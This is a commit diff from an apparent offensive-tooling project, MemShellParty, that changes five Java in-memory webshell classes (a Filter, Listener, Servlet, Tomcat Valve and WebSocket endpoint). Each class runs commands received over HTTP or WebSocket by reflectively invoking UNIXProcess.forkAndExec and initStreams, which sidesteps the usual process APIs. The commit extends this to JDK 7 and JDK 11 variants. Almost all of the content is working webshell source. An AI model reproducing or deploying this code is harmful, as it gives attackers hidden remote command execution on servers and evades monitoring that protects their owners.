archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-26 00:41:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: forkAndExec jdk7 & jdk11

Browse Source
This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent ceb19d2dae
commit 832124a368
5 changed files with 136 additions and 47 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+26 -9
View File
@@ -84,20 +84,30 @@ public class CommandFilter implements Filter {
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]); byte[] result = toCString(strs[0]);
try { try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) { } catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
@@ -105,9 +115,16 @@ public class CommandFilter implements Filter {
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} }
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); try {
initStreamsMethod.setAccessible(true); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.invoke(processObject, std_fds); initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream"); Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+25 -9
View File
@@ -84,20 +84,30 @@ public class CommandListener implements ServletRequestListener {
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]); byte[] result = toCString(strs[0]);
try { try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) { } catch (NoSuchFieldException e) {
e.printStackTrace();
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
@@ -105,9 +115,15 @@ public class CommandListener implements ServletRequestListener {
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} }
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); try {
initStreamsMethod.setAccessible(true); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.invoke(processObject, std_fds); initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream"); Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+27 -11
View File
@@ -41,8 +41,8 @@ public class CommandServlet extends HttpServlet {
outputStream.write(buf, 0, length); outputStream.write(buf, 0, length);
} }
} }
} catch (Exception ignored) { } catch (Exception e) {
e.printStackTrace();
} }
} }
@@ -82,20 +82,30 @@ public class CommandServlet extends HttpServlet {
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]); byte[] result = toCString(strs[0]);
try { try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) { } catch (NoSuchFieldException e) {
e.printStackTrace();
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
@@ -103,9 +113,15 @@ public class CommandServlet extends HttpServlet {
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} }
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); try {
initStreamsMethod.setAccessible(true); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.invoke(processObject, std_fds); initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream"); Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+25 -9
View File
@@ -102,20 +102,30 @@ public class CommandValve implements Valve {
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]); byte[] result = toCString(strs[0]);
try { try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) { } catch (NoSuchFieldException e) {
e.printStackTrace();
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
@@ -123,9 +133,15 @@ public class CommandValve implements Valve {
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} }
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); try {
initStreamsMethod.setAccessible(true); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.invoke(processObject, std_fds); initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream"); Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+33 -9
View File
@@ -7,6 +7,7 @@ import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -38,6 +39,10 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
session.getBasicRemote().sendText(outputStream.toString()); session.getBasicRemote().sendText(outputStream.toString());
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
try {
session.close();
} catch (IOException ignored) {
}
} }
} }
@@ -77,20 +82,33 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]); byte[] result = toCString(strs[0]);
try { try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
// JDK7 的某些版本
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
// JDK8+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) { } catch (NoSuchFieldException e) {
e.printStackTrace();
// JDK6 与 JDK7 低版本
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
@@ -98,9 +116,15 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} }
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); try {
initStreamsMethod.setAccessible(true); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.invoke(processObject, std_fds); initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream"); Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);